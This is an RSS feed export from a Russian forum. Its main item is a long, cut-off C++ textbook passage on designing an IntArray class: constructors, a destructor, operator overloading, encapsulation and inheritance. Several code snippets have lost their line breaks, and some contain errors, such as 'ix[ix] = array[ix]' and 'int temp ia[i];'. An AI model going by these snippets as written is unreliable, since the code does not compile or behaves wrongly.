<?xml version="1.0" encoding="windows-1251"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
		<atom:link href="https://farounaga.forumbb.ru/export.php?type=rss" rel="self" type="application/rss+xml" />
		<title>Форум Farounaga</title>
		<link>https://farounaga.forumbb.ru/</link>
		<description>Форум Farounaga</description>
		<language>ru-ru</language>
		<lastBuildDate>Mon, 13 Jun 2011 12:44:47 +0400</lastBuildDate>
		<generator>MyBB/mybb.ru</generator>
		<item>
			<title>Anekdotes</title>
			<link>https://farounaga.forumbb.ru/viewtopic.php?pid=15#p15</link>
			<description>&lt;p&gt;XD&lt;/p&gt;</description>
			<author>mybb@mybb.ru (Farounaga)</author>
			<pubDate>Mon, 13 Jun 2011 12:44:47 +0400</pubDate>
			<guid>https://farounaga.forumbb.ru/viewtopic.php?pid=15#p15</guid>
		</item>
		<item>
			<title>C++</title>
			<link>https://farounaga.forumbb.ru/viewtopic.php?pid=8#p8</link>
			<description>&lt;p&gt;&lt;strong&gt;2.3. Объектный подход&lt;/strong&gt;&lt;/p&gt;
						&lt;p&gt;В этом разделе мы спроектируем и реализуем абстракцию массива, используя механизм классов С++. Первоначальный вариант будет поддерживать только массив элементов типа int. Впоследствии при помощи шаблонов мы расширим наш массив для поддержки любых типов данных.&lt;/p&gt;
						&lt;p&gt;Первый шаг состоит в том, чтобы определить, какие операции будет поддерживать наш массив. Конечно, было бы заманчиво реализовать все мыслимые и немыслимые операции, но невозможно сделать сразу все на свете. Поэтому для начала определим то, что должен уметь наш массив:&lt;/p&gt;
						&lt;p&gt;обладать некоторыми знаниями о самом себе. Пусть для начала это будет знание собственного размера; &lt;br /&gt;поддерживать операцию присваивания и операцию сравнения на равенство; &lt;br /&gt;отвечать на некоторые вопросы, например: какова величина минимального и максимального элемента; содержит ли массив элемент с определенным значением; если да, то каков индекс первого встречающегося элемента, имеющего это значение; &lt;br /&gt;сортировать сам себя. Пусть такая операция покажется излишней, все-таки реализуем ее в качестве дополнительного упражнения: ведь кому-то это может пригодиться. &lt;br /&gt;Конечно, мы должны реализовать и базовые операции работы с массивом, а именно:Возможность задать размер массива при его создании. (Речь не идет о том, чтобы знать эту величину на этапе компиляции.) &lt;br /&gt;Возможность проинициализировать массив некоторым набором значений. &lt;br /&gt;Возможность обращаться к элементу массива по индексу. Пусть эта возможность реализуется с помощью стандартной операции взятия индекса. &lt;br /&gt;Возможность обнаруживать обращения к несуществующим элементам массива и сигнализировать об ошибке. Не будем обращать внимание на тех потенциальных пользователей нашего класса, которые привыкли работать со встроенными массивами С и не считают данную возможность полезной – мы хотим создать такой массив, который был бы удобен в использовании даже самым неискушенным программистам на С++. &lt;br /&gt;Кажется, мы перечислили достаточно потенциальных достоинств нашего будущего массива, чтобы загореться желанием немедленно приступить к его реализации. Как же это будет выглядеть на С++? В самом общем случае объявление класса выглядит следующим образом:&lt;/p&gt;
						&lt;p&gt;class classname {&lt;br /&gt;public:&lt;br /&gt;&amp;#160; &amp;#160;// набор открытых операций&lt;br /&gt;private:&lt;br /&gt;&amp;#160; &amp;#160;// закрытые функции, обеспечивающие реализацию&lt;br /&gt;};&lt;br /&gt;class, public и private – это ключевые слова С++, а classname – имя, которое программист дал своему классу. Назовем наш проектируемый класс IntArray: на первом этапе этот массив будет содержать только целые числа. Когда мы научим его обращаться с данными любого типа, можно будет переименовать его в Array.&lt;br /&gt;Определяя класс, мы создаем новый тип данных. На имя класса можно ссылаться точно так же, как на любой встроенный описатель типа. Можно создавать объекты этого нового типа аналогично тому, как мы создаем объекты встроенных типов:&lt;/p&gt;
						&lt;p&gt;// статический объект типа IntArray&lt;br /&gt;IntArray myArray;&lt;/p&gt;
						&lt;p&gt;// указатель на динамический объект типа IntArrayIntArray *pArray = new IntArray;&lt;br /&gt;Определение класса состоит из двух частей: заголовка (имя, предваренное ключевым словом class) и тела, заключенного в фигурные скобки. Заголовок без тела может служить объявлением класса.&lt;/p&gt;
						&lt;p&gt;// объявление класса IntArray&lt;br /&gt;// без определения его&lt;br /&gt;class IntArray;&lt;br /&gt;Тело класса состоит из определений членов и спецификаторов доступа – ключевых слов public, private и protected. (Пока мы ничего не будем говорить об уровне доступа protected.) Членами класса могут являться функции, которые определяют набор действий, выполняемых классом, и переменные, содержащие некие внутренние данные, необходимые для реализации класса. Функции, принадлежащие классу, называют функциями-членами или, по-другому, методами класса. Вот набор методов класса IntArray:&lt;/p&gt;
						&lt;p&gt;class IntArray {&lt;br /&gt;public:&lt;br /&gt;&amp;#160; &amp;#160;// операции сравнения: #2b&lt;br /&gt;&amp;#160; &amp;#160;bool operator== (const IntArray&amp;amp;) const;&lt;br /&gt;&amp;#160; &amp;#160;bool operator!= (const IntArray&amp;amp;) const;&lt;br /&gt;&amp;#160; &amp;#160;// операция присваивания: #2a&amp;#160; &amp;#160;IntArray&amp;amp; operator= (const IntArray&amp;amp;);&lt;br /&gt;&amp;#160; &amp;#160;int size() const; // #1&amp;#160; &amp;#160;void sort(); // #4&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; int min() const; // #3a&amp;#160; &amp;#160;int max() const; // #3b&lt;br /&gt;&amp;#160; &amp;#160;// функция find возвращает индекс первого&amp;#160; &amp;#160;// найденного элемента массива&amp;#160; &amp;#160;// или -1, если элементов не найдено&lt;br /&gt;&amp;#160; &amp;#160;int find (int value) const; // #3c&lt;br /&gt;private:&amp;#160; &amp;#160;// дальше идут закрытые члены,&amp;#160; &amp;#160;// обеспечивающие реализацию класса&amp;#160; &amp;#160;...}&lt;br /&gt;Номера, указанные в комментариях при объявлениях методов, ссылаются на спецификацию класса, которую мы составили в начале данного раздела. Сейчас мы не будем объяснять смысл ключевого слова const, он не так уж важен для понимания того, что мы хотим продемонстрировать на данном примере. Будем считать, что это ключевое слово необходимо для правильной компиляции программы.&lt;br /&gt;Именованная функция-член (например, min()) может быть вызвана с использованием одной из двух операций доступа к члену класса. Первая операция доступа, обозначаемая точкой (.), применяется к объектам класса, вторая – стрелка (-&amp;gt;) – к указателям на объекты. Так, чтобы найти минимальный элемент в объекте, имеющем тип IntArray, мы должны написать:&lt;/p&gt;
						&lt;p&gt;// инициализация переменной min_val&lt;br /&gt;// минимальным элементом myArray&lt;br /&gt;int min_val = myArray.min();&lt;br /&gt;Чтобы найти минимальный элемент в динамически созданном объекте типа IntArray, мы должны написать:&lt;/p&gt;
						&lt;p&gt;int min_val = pArray-&amp;gt;min();&lt;br /&gt;(Да, мы еще ничего не сказали о том, как же проинициализировать наш объект – задать его размер и наполнить элементами. Для этого служит специальная функция-член, называемая конструктором. Мы поговорим об этом чуть ниже.)&lt;br /&gt;Операции применяются к объектам класса точно так же, как и к встроенным типам данных. Пусть мы имеем два объекта типа IntArray:&lt;/p&gt;
						&lt;p&gt;IntArray myАrray0, myArray1;&lt;br /&gt;Инструкции присваивания и сравнения с этими объектами выглядят совершенно обычным образом:&lt;/p&gt;
						&lt;p&gt;// инструкция присваивания -&lt;br /&gt;// вызывает функцию-член myArray0.operator=(myArray1)&lt;br /&gt;myArray0 = myArray1;&lt;br /&gt;// инструкция сравнения -&lt;br /&gt;// вызывает функцию-член myArray0.operator==(myArray1)&lt;br /&gt;if (myArray0 == myArray1)&lt;br /&gt;&amp;#160; &amp;#160;cout &amp;lt;&amp;lt; &amp;quot;Ура! Оператор присваивания сработал!\n&amp;quot;;&lt;br /&gt;Спецификаторы доступа public и private определяют уровень доступа к членам класса. К тем членам, которые перечислены после public, можно обращаться из любого места программы, а к тем, которые объявлены после private, могут обращаться только функции-члены данного класса. (Помимо функций-членов, существуют еще функции-друзья класса, но мы не будем говорить о них вплоть до раздела 15.2.)&lt;br /&gt;В общем случае открытые члены класса составляют его открытый интерфейс, то есть набор операций, которые определяют поведение класса. Закрытые члены класса обеспечивают его скрытую реализацию.&lt;br /&gt;Такое деление на открытый интерфейс и скрытую реализацию называют сокрытием информации, или инкапсуляцией. Это очень важная концепция программирования, мы еще поговорим о ней в следующих главах. В двух словах, эта концепция помогает решить следующие проблемы:&lt;/p&gt;
						&lt;p&gt;если мы меняем или расширяем реализацию класса, то изменения можно выполнить так, что большинство пользовательских программ, использующих наш класс, их “не заметят”: модификации коснутся лишь скрытых членов (мы поговорим об этом в разделе 6.18); &lt;br /&gt;если в реализации класса обнаруживается ошибка, то обычно для ее исправления достаточно проверить код, составляющий именно скрытую реализацию, а не весь код программы, где данный класс используется. &lt;br /&gt;Какие же внутренние данные потребуются для реализации класса IntArray? Необходимо где-то сохранить размер массива и сами его элементы. Мы будем хранить их в массиве встроенного типа, память для которого выделяется динамически. Так что нам потребуется указатель на этот массив. Вот как будут выглядеть определения этих данных-членов:&lt;/p&gt;
						&lt;p&gt;class IntArray {&lt;br /&gt;public:&lt;br /&gt;&amp;#160; &amp;#160;// ...&lt;br /&gt;&amp;#160; &amp;#160;int size() const { return _size; }&lt;br /&gt;private:&lt;br /&gt;&amp;#160; &amp;#160;// внутренние данные-члены&lt;br /&gt;&amp;#160; &amp;#160;int _size;&lt;br /&gt;&amp;#160; &amp;#160;int *ia;&lt;br /&gt;};&lt;br /&gt;Поскольку мы поместили член _size в закрытую секцию, пользователь класса не имеет возможности обратиться к нему напрямую. Чтобы позволить внешней программе узнать размер массива, мы написали функцию-член size(), которая возвращает значение члена _size. Нам пришлось добавить символ подчеркивания к имени нашего скрытого члена _size, поскольку функция-член с именем size() уже определена. Члены класса – функции и данные – не могут иметь одинаковые имена.&lt;br /&gt;Может показаться, что реализуя подобным образом доступ к скрытым данным класса, мы очень сильно проигрываем в эффективности. Сравним два выражения (предположим, что мы изменили спецификатор доступа члена _size на public):&lt;/p&gt;
						&lt;p&gt;IntArray array;&lt;br /&gt;int array_size = array.size();&lt;br /&gt;array_size = array._size;&lt;br /&gt;Действительно, вызов функции гораздо менее эффективен, чем прямой доступ к памяти, как во втором операторе. Так что же, принцип сокрытия информации заставляет нас жертвовать эффективностью?&lt;br /&gt;На самом деле, нет. С++ имеет механизм встроенных (inline) функций. Текст встроенной функции подставляется компилятором в то место, где записано обращение к ней. (Это напоминает механизм макросов, реализованный во многих языках, в том числе и в С++. Однако есть определенные отличия, о которых мы сейчас говорить не будем.) Вот пример. Если у нас есть следующий фрагмент кода:&lt;/p&gt;
						&lt;p&gt;for (int index=0; index&amp;lt;array.size(); ++index)&lt;br /&gt;// ...&lt;br /&gt;то функция size() не будет вызываться _size раз во время исполнения. Вместо вызова компилятор подставит ее текст, и результат компиляции предыдущего кода будет в точности таким же, как если бы мы написали:&lt;/p&gt;
						&lt;p&gt;for (int index=0; index&amp;lt;array._size; ++index)&lt;br /&gt;// ...&lt;br /&gt;Если функция определена внутри тела класса (как в нашем случае), она автоматически считается встроенной. Существует также ключевое слово inline, позволяющее объявить встроенной любую функцию.&lt;br /&gt;Мы до сих пор ничего не сказали о том, как будем инициализировать наш массив.&lt;br /&gt;Одна из самых распространенных ошибок при программировании (на любом языке) состоит в том, что объект используется без предварительной инициализации. Чтобы помочь избежать этой ошибки, С++ обеспечивает механизм автоматической инициализации для определяемых пользователем классов – конструктор класса.&lt;br /&gt;Конструктор – это специальная функция-член, которая вызывается автоматически при создании объекта типа класса. Конструктор пишется разработчиком класса, причем у одного класса может быть несколько конструкторов.&lt;br /&gt;Функция-член класса, носящее то же имя, что и сам класс, считается конструктором. (Нет никаких специальных ключевых слов, позволяющих определить конструктор как-то по-другому.) Мы уже сказали, что конструкторов может быть несколько. Как же так: разные функции с одинаковыми именами?&lt;br /&gt;В С++ это возможно. Разные функции могут иметь одно и то же имя, если у этих функций различны количество и/или типы параметров. Это называется перегрузкой функции. Обрабатывая вызов перегруженной функции, компилятор смотрит не только на ее имя, но и на список параметров. По количеству и типам передаваемых параметров компилятор может определить, какую же из одноименных функций нужно вызывать в данном случае. Рассмотрим пример. Мы можем определить следующий набор перегруженных функций min(). (Перегружаться могут как обычные функции, так и функции-члены.)&lt;/p&gt;
						&lt;p&gt;// список перегруженных функций min()&lt;br /&gt;// каждая функция отличается от других списком параметров&lt;br /&gt;#include &amp;lt;string&amp;gt;&lt;br /&gt;int min (const int *pia,int size);&lt;br /&gt;int min (int, int);&lt;br /&gt;int min (const char *str);&lt;br /&gt;char min (string);&lt;br /&gt;string min (string,string);&lt;br /&gt;Поведение перегруженных функций во время выполнения ничем не отличается от поведения обычных. Компилятор определяет нужную функцию и помещает в объектный код именно ее вызов. (В главе 9 подробно обсуждается механизм перегрузки.)&lt;br /&gt;Итак, вернемся к нашему классу IntArray. Давайте определим для него три конструктора:&lt;/p&gt;
						&lt;p&gt;class IntArray {&lt;br /&gt;public:&lt;br /&gt;&amp;#160; &amp;#160;explicit IntArray (int sz = DefaultArraySize);&lt;br /&gt;&amp;#160; &amp;#160;IntArray (int *array, int array_size);&lt;br /&gt;&amp;#160; &amp;#160;IntArray (const IntArray &amp;amp;rhs);&lt;br /&gt;&amp;#160; &amp;#160;// ...&lt;br /&gt;private:&lt;br /&gt;&amp;#160; &amp;#160;static const int DefaultArraySize = 12;&lt;br /&gt;}&lt;br /&gt;Первый из перечисленных конструкторов&lt;/p&gt;
						&lt;p&gt;IntArray (int sz = DefaultArraySize);&lt;br /&gt;называется конструктором по умолчанию, потому что он может быть вызван без параметров. (Пока не будем объяснять ключевое слово explicit.) Если при создании объекта ему задается параметр типа int, например&lt;/p&gt;
						&lt;p&gt;IntArray array1(1024);&lt;br /&gt;то значение 1024 будет передано в конструктор. Если же размер не задан, допустим:&lt;br /&gt;IntArray array2;&lt;br /&gt;то в качестве значения отсутствующего параметра конструктор принимает величину DefaultArraySize. (Не будем пока обсуждать использование ключевого слова static в определении члена DefaultArraySize: об этом говорится в разделе 13.5. Скажем лишь, что такой член данных существует в единственном экземпляре и принадлежит одновременно всем объектам данного класса.)&lt;br /&gt;Вот как может выглядеть определение нашего конструктора по умолчанию:&lt;/p&gt;
						&lt;p&gt;IntArray::IntArray (int sz)&lt;br /&gt;{&lt;br /&gt;&amp;#160; &amp;#160;// инициализация членов данных&lt;br /&gt;&amp;#160; &amp;#160;_size = sz;&lt;br /&gt;&amp;#160; &amp;#160;ia = new int[_size];&lt;br /&gt;&amp;#160; &amp;#160;// инициализация элементов массива&amp;#160; &amp;#160;for (int ix=0; ix&amp;lt;_size; ++ix)&amp;#160; &amp;#160; &amp;#160;ia[ix] = 0;}&lt;br /&gt;Это определение содержит несколько упрощенный вариант реализации. Мы не позаботились о том, чтобы попытаться избежать возможных ошибок во время выполнения. Какие ошибки возможны? Во-первых, оператор new может потерпеть неудачу при выделении нужной памяти: в реальной жизни память не бесконечна. (В разделе 2.6 мы увидим, как обрабатываются подобные ситуации.) А во-вторых, параметр sz из-за небрежности программиста может иметь некорректное значение, например нуль или отрицательное.&lt;br /&gt;Что необычного мы видим в таком определении конструктора? Сразу бросается в глаза первая строчка, в которой использована операция разрешения области видимости (::):&lt;/p&gt;
						&lt;p&gt;IntArray::IntArray(int sz);&lt;br /&gt;Дело в том, что мы определяем нашу функцию-член (в данном случае конструктор) вне тела класса. Для того чтобы показать, что эта функция на самом деле является членом класса IntArray, мы должны явно предварить имя функции именем класса и двойным двоеточием. (Подробно области видимости разбираются в главе 8; области видимости применительно к классам рассматриваются в разделе 13.9.)&lt;br /&gt;Второй конструктор класса IntArray инициализирует объект IntArray значениями элементов массива встроенного типа. Он требует двух параметров: массива встроенного типа со значениями для инициализации и размера этого массива. Вот как может выглядеть создание объекта IntArray с использованием данного конструктора:&lt;/p&gt;
						&lt;p&gt;int ia[10] = {0,1,2,3,4,5,6,7,8,9};&lt;br /&gt;IntArray iA3(ia,10);&lt;br /&gt;Реализация второго конструктора очень мало отличается от реализации конструктора по умолчанию. (Как и в первом случае, мы пока опустили обработку ошибочных ситуаций.)&lt;/p&gt;
						&lt;p&gt;IntArray::IntArray (int *array, int sz)&lt;br /&gt;{&lt;br /&gt;&amp;#160; &amp;#160;// инициализация членов данных&lt;br /&gt;&amp;#160; &amp;#160;_size = sz;&lt;br /&gt;&amp;#160; &amp;#160;ia = new int[_size];&lt;br /&gt;&amp;#160; // инициализация элементов массива&amp;#160; for (int ix=0; ix&amp;lt;_size; ++ix)&amp;#160; &amp;#160; &amp;#160;ia[ix] = array[ix];}&lt;br /&gt;Третий конструктор называется копирующим конструктором. Он инициализирует один объект типа IntArray значением другого объекта IntArray. Такой конструктор вызывается автоматически при выполнении следующих инструкций:&lt;/p&gt;
						&lt;p&gt;IntArray array;&lt;br /&gt;// следующие два объявления совершенно эквивалентны:IntArray ia1 = array;IntArray ia2 (array);&lt;br /&gt;Вот как выглядит реализация копирующего конструктора для IntArray, опять-таки без обработки ошибок:&lt;/p&gt;
						&lt;p&gt;IntArray::IntArray (const IntArray &amp;amp;rhs )&lt;br /&gt;{&lt;br /&gt;&amp;#160; &amp;#160;// инициализация членов данных&lt;br /&gt;&amp;#160; &amp;#160;_size = rhs._size;&lt;br /&gt;&amp;#160; &amp;#160;ia = new int[_size];&lt;br /&gt;&amp;#160; &amp;#160;// инициализация элементов массива&amp;#160; for (int ix=0; ix&amp;lt;_size; ++ix)&amp;#160; &amp;#160; ia[ix] = rhs.ia[ix];}&lt;br /&gt;В этом примере мы видим еще один составной тип данных – ссылку на объект, которая обозначается символом &amp;amp;. Ссылку можно рассматривать как разновидность указателя: она также позволяет косвенно обращаться к объекту. Однако синтаксис их использования различается: для доступа к члену объекта, на который у нас есть ссылка, следует использовать точку, а не стрелку; следовательно, мы пишем rhs._size, а не rhs-&amp;gt;_size. (Ссылки рассматриваются в разделе 3.6.)&lt;br /&gt;Заметим, что реализация всех трех конструкторов очень похожа. Если один и тот же код повторяется в разных местах, желательно вынести его в отдельную функцию. Это облегчает и дальнейшую модификацию кода, и чтение программы. Вот как можно модернизировать наши конструкторы, если выделить повторяющийся код в отдельную функцию init():&lt;/p&gt;
						&lt;p&gt;class IntArray {&lt;br /&gt;public:&lt;br /&gt;&amp;#160; &amp;#160;explicit IntArray (int sz = DefaultArraySize);&lt;br /&gt;&amp;#160; &amp;#160;IntArray (int *array, int array_size);&lt;br /&gt;&amp;#160; &amp;#160;IntArray (const IntArray &amp;amp;rhs);&lt;br /&gt;&amp;#160; &amp;#160;// ...&lt;br /&gt;private:&lt;br /&gt;&amp;#160; &amp;#160;void init (int sz,int *array);&lt;br /&gt;&amp;#160; &amp;#160;// ...&lt;br /&gt;};&lt;br /&gt;// функция, используемая всеми конструкторами&lt;br /&gt;void IntArray::init (int sz,int *array){&amp;#160; _size = sz;&amp;#160; ia = new int[_size];&lt;br /&gt;&amp;#160; for (int ix=0; ix&amp;lt;_size; ++ix)&lt;br /&gt;&amp;#160; &amp;#160; if ( !array )&amp;#160; &amp;#160; &amp;#160; ia[ix] = 0;&amp;#160; &amp;#160; else&amp;#160; &amp;#160; &amp;#160; ix[ix] = array[ix];}&lt;br /&gt;// модифицированные конструкторыIntArray::IntArray (int sz) { init(sz,0); }IntArray::IntArray (int *array, int array_size)&amp;#160; &amp;#160; &amp;#160; { init (array_size,array); }IntArray::IntArray (const IntArray &amp;amp;rhs)&amp;#160; &amp;#160; &amp;#160; { init (rhs._size,rhs.ia); }&lt;br /&gt;Имеется еще одна специальная функция-член – деструктор, который автоматически вызывается в тот момент, когда объект прекращает существование. Имя деструктора совпадает с именем класса, только в начале идет символ тильды (~). Основное назначение данной функции – освободить ресурсы, отведенные объекту во время его создания и использования. Применение деструкторов помогает бороться с трудно обнаруживаемыми ошибками, ведущими к утечке памяти и других ресурсов. В случае класса IntArray эта функция-член должна освободить память, выделенную в момент создания объекта. (Подробно конструкторы и деструкторы описаны в главе 14.) Вот как выглядит деструктор для IntArray:&lt;/p&gt;
						&lt;p&gt;class IntArray {&lt;br /&gt;public:&lt;br /&gt;&amp;#160; &amp;#160;// конструкторы&lt;br /&gt;&amp;#160; &amp;#160;explicit IntArray (int sz = DefaultArraySize);&lt;br /&gt;&amp;#160; &amp;#160;IntArray (int *array, int array_size);&lt;br /&gt;&amp;#160; &amp;#160;IntArray (const IntArray &amp;amp;rhs);&lt;br /&gt;&amp;#160; // деструктор&amp;#160; ~IntArray() { delete[] ia; }&amp;#160; // ...private:&amp;#160; // ...};&lt;br /&gt;Теперь нам нужно определить операции доступа к элементам массива IntArray. Мы хотим, чтобы обращение к элементам IntArray выглядело точно так же, как к элементам массива встроенного типа, с использованием оператора взятия индекса:&lt;/p&gt;
						&lt;p&gt;IntArray array;&lt;br /&gt;int last_pos = array.size()-1;&lt;br /&gt;int temp = array[0];&lt;br /&gt;array[0] = array[last_pos];&lt;br /&gt;array[last_pos] = temp;&lt;br /&gt;Для реализации доступа мы используем возможность перегрузки операций. Вот как выглядит функция, реализующая операцию взятия индекса:&lt;/p&gt;
						&lt;p&gt;#include &amp;lt;cassert&amp;gt;&lt;br /&gt;int&amp;amp; IntArray::operator[] (int index){&amp;#160; assert (index &amp;gt;= 0 &amp;amp;&amp;amp; index &amp;lt; _size);&amp;#160; return ia[index];}&lt;br /&gt;Обычно для проектируемого класса перегружают операции присваивания, операцию сравнения на равенство, возможно, операции сравнения по величине и операции ввода/вывода. Как и перегруженных функций, перегруженных операторов, отличающихся типами операндов, может быть несколько. К примеру, можно создать несколько операций присваивания объекту значения другого объекта того же самого или иного типа. Конечно, эти объекты должны быть более или менее “похожи”. (Подробно о перегрузке операций мы расскажем в главе 15, а в разделе 3.15 приведем еще несколько примеров.)&lt;br /&gt;Определения класса, различных относящихся к нему констант и, быть может, каких-то еще переменных и макросов по принятым соглашениям помещаются в заголовочный файл, имя которого совпадает с именем класса. Для класса IntArray мы должны создать заголовочный файл IntArray.h. Любая программа, в которой будет использоваться класс IntArray, должна включать этот заголовочный файл директивой препроцессора #include.&lt;br /&gt;По тому же самому соглашению функции-члены класса, определенные вне его описания, помещаются в файл с именем класса и расширением, обозначающим исходный текст С++ программы. Мы будем использовать расширение .С (напомним, что в разных системах вы можете встретиться с разными расширениями исходных текстов С++ программ) и назовем наш файл IntArray.C.&lt;/p&gt;
						&lt;p&gt;Упражнение 2.5&lt;br /&gt;Ключевой особенностью класса С++ является разделение интерфейса и реализации. Интерфейс представляет собой набор операций (функций), выполняемых объектом; он определяет имя функции, возвращаемое значение и список параметров. Обычно пользователь не должен знать об объекте ничего, кроме его интерфейса. Реализация скрывает алгоритмы и данные, нужные объекту, и может меняться при развитии объекта, никак не затрагивая интерфейс. Попробуйте определить интерфейсы для одного из следующих классов (выберите любой):&lt;br /&gt;(a) матрица&lt;br /&gt;(b) булевское значение&lt;br /&gt;(c) паспортные данные человека&lt;br /&gt;(d) дата&lt;br /&gt;(e) указатель&lt;br /&gt;(f) точка&lt;/p&gt;
						&lt;p&gt;Упражнение 2.6&lt;br /&gt;Попробуйте определить набор конструкторов, необходимых для класса, выбранного вами в предыдущем упражнении. Нужен ли деструктор для вашего класса? Помните, что на самом деле конструктор не создает объект: память под объект отводится до начала работы данной функции, и конструктор только производит определенные действия по инициализации объекта. Аналогично деструктор уничтожает не сам объект, а только те дополнительные ресурсы, которые могли быть выделены в результате работы конструктора или других функций-членов класса.&lt;/p&gt;
						&lt;p&gt;Упражнение 2.7&lt;br /&gt;В предыдущих упражнениях вы практически полностью определили интерфейс выбранного вами класса. Попробуйте теперь написать программу, использующую ваш класс. Удобно ли пользоваться вашим интерфейсом? Не хочется ли Вам пересмотреть спецификацию? Сможете ли вы сделать это и одновременно сохранить совместимость со старой версией?&lt;/p&gt;
						&lt;p&gt;&lt;strong&gt;2.4. Объектно-ориентированный подход&lt;/strong&gt;&lt;/p&gt;
						&lt;p&gt;Вспомним спецификацию нашего массива в предыдущем разделе. Мы говорили о том, что некоторым пользователям может понадобиться упорядоченный массив, в то время как большинство, скорее всего, удовлетворится и неупорядоченным. Если представить себе, что наш массив IntArray упорядочен, то реализация таких функций, как min(), max(), find(), должна отличаться от их реализации для массива неупорядоченного большей эффективностью. Вместе с тем, для поддержания массива в упорядоченном состоянии все прочие функции должны быть сильно усложнены.&lt;br /&gt;Мы выбрали наиболее общий случай – неупорядоченный массив. Но как же быть с теми немногочисленными пользователями, которым обязательно нужна функциональность массива упорядоченного? Мы должны специально для них создать другой вариант массива?&lt;br /&gt;А вот и еще одна категория недовольных пользователей: их не удовлетворяют накладные расходы на проверку правильности индекса. Мы исходили из того, что корректность работы нашего класса превыше всего, и старались обезопасить себя от ошибочных ситуаций. Но возьмем, к примеру, разработчиков систем виртуальной реальности. Трехмерные изображения должны строиться с максимально возможной скоростью, быть может, за счет точности.&lt;br /&gt;Да, мы можем удовлетворить и тех и других, создав для каждой группы пользователей свой, немного модернизированный, вариант IntArray. Более того, его даже не слишком трудно сделать, поскольку мы старались создать хорошую реализацию и необходимые изменения затронут совсем небольшие участки кода. Итак, копируем исходный текст, вносим необходимые изменения в нужные места и получаем три класса:&lt;/p&gt;
						&lt;p&gt;// неупорядоченный массив без проверки границ индекса&lt;br /&gt;class IntArray { ... };&lt;br /&gt;// неупорядоченный массив с проверкой границ индексаclass IntArrayRC { ... };&lt;br /&gt;// упорядоченный массив без проверки границ индексаclass IntSortedArray { ... };&lt;br /&gt;Подобное решение имеет следующие недостатки:&lt;/p&gt;
						&lt;p&gt;нам необходимо сопровождать три копии кода, различающиеся весьма незначительно. Хорошо бы выделить общие участки кода. Кроме упрощения сопровождения, это позволит использовать их впоследствии, если мы захотим создать еще один вариант массива, например упорядоченный с проверкой границ индекса; &lt;br /&gt;если понадобится какая-то общая функция для обработки всех наших массивов, то нам придется написать три копии, поскольку типы ее параметров будут различаться: &lt;br /&gt;void process_array (IntArray&amp;amp;);&lt;br /&gt;void process_array (IntArrayRC&amp;amp;);&lt;br /&gt;void process_array (IntSortedArray&amp;amp;);&lt;br /&gt;хотя реализация этих функций может быть совершенно идентичной. Было бы лучше написать единственную функцию, которая могла бы работать не только со всеми нашими массивами, но и с теми их вариациями, какие мы, возможно, реализуем впоследствии. &lt;br /&gt;Парадигма объектно-ориентированного программирования позволяет осуществить все эти пожелания. Механизм наследования обеспечивает пожелания из первого пункта. Если один класс является потомком другого (например, IntArrayRC потомок класса IntArray), то наследник имеет возможность пользоваться всеми данными и функциями-членами, определенными в классе-предке. То есть класс IntArrayRC может просто использовать всю основную функциональность, предоставляемую классом IntArray, и добавить только то, что нужно ему для обеспечения проверки границ индекса.&lt;br /&gt;В С++ класс, свойства которого наследуются, называют также базовым классом, а класс-наследник – производным классом, или подклассом базового. Класс и подкласс имеют общий интерфейс, предоставляемый базовым классом (т.к. подкласс имеет все функции-члены базового класса). Значит, программу, использующую только функции из этого общего интерфейса, не должен интересовать фактический тип объекта, с которым она работает, – базового ли типа этот объект или производного. В этом смысле общий интерфейс скрывает специфичные для подкласса детали. Отношения между классами и подклассами называются иерархией наследования классов. Вот как может выглядеть реализация функции swap(), которая меняет местами два указанных элемента массива. Первым параметром функции является ссылка на базовый класс IntArray:&lt;/p&gt;
						&lt;p&gt;#include &amp;lt;IntArray.h&amp;gt;&lt;br /&gt;void swap (IntArray &amp;amp;ia, int i, int j)&lt;br /&gt;{&amp;#160; int temp ia[i];&amp;#160; ia[i] = ia[j];&amp;#160; ia[j] = temp;}&lt;br /&gt;// ниже идут обращения к функции swap:IntArray ia;IntArrayRC iarc;IntSortedArray ias;// правильно - ia имеет тип IntArrayswap (ia,0,10);&lt;br /&gt;// правильно - iarc является подклассом IntArrayswap (iarc,0,10);&lt;br /&gt;// правильно - ias является подклассом IntArrayswap (ias,0,10);&lt;br /&gt;// ошибка - string не является подклассом IntArraystring str(&amp;quot;Это не IntArray!&amp;quot;);swap (str,0,10);&lt;br /&gt;Каждый из трех классов реализует операцию взятия индекса по-своему. Поэтому важно, чтобы внутри функции swap() вызывалась нужная операция взятия индекса. Так, если swap() вызвана для IntArrayRC:&lt;/p&gt;
						&lt;p&gt;swap (iarc,0,10);&lt;br /&gt;то должна вызываться функция взятия индекса для объекта класса IntArrayRC, а для&lt;/p&gt;
						&lt;p&gt;swap (ias,0,10);&lt;br /&gt;функция взятия индекса IntSortedArray. Именно это и обеспечивает механизм виртуальных функций С++.&lt;br /&gt;Давайте попробуем сделать наш класс IntArray базовым для иерархии подклассов. Что нужно изменить в его описании? Синтаксически – совсем немного. Возможно, придется открыть для производных классов доступ к скрытым членам класса. Кроме того, те функции, которые мы собираемся сделать виртуальными, необходимо явно пометить специальным ключевым словом virtual. Основная же трудность состоит в таком изменении реализации базового класса, которая позволит ей лучше отвечать своей новой цели – служить базой для целого семейства подклассов.&lt;br /&gt;При простом объектном подходе можно выделить двух разработчиков конечной программы – разработчик класса и пользователь класса (тот, кто использует данный класс в конечной программе), причем последний обращается только к открытому интерфейсу. Для такого случая достаточно двух уровней доступа к членам класса – открытого (public) и закрытого (private).&lt;br /&gt;Если используется наследование, то к этим двум группам разработчиков добавляется третья, промежуточная. Производный класс может проектировать совсем не тот человек, который проектировал базовый, и для того чтобы реализовать класс-наследник, совсем не обязательно иметь доступ к реализации базового. И хотя такой доступ может потребоваться при проектировании подкласса, от конечного пользователя обоих классов эта часть по-прежнему должна быть закрыта. К двум уровням доступа добавляется третий, в некотором смысле промежуточный, – защищенный (protected). Члены класса, объявленные как защищенные, могут использоваться классами-потомками, но никем больше. (Закрытые члены класса недоступны даже для его потомков.)&lt;br /&gt;Вот как выглядит модифицированное описание класса IntArray:&lt;/p&gt;
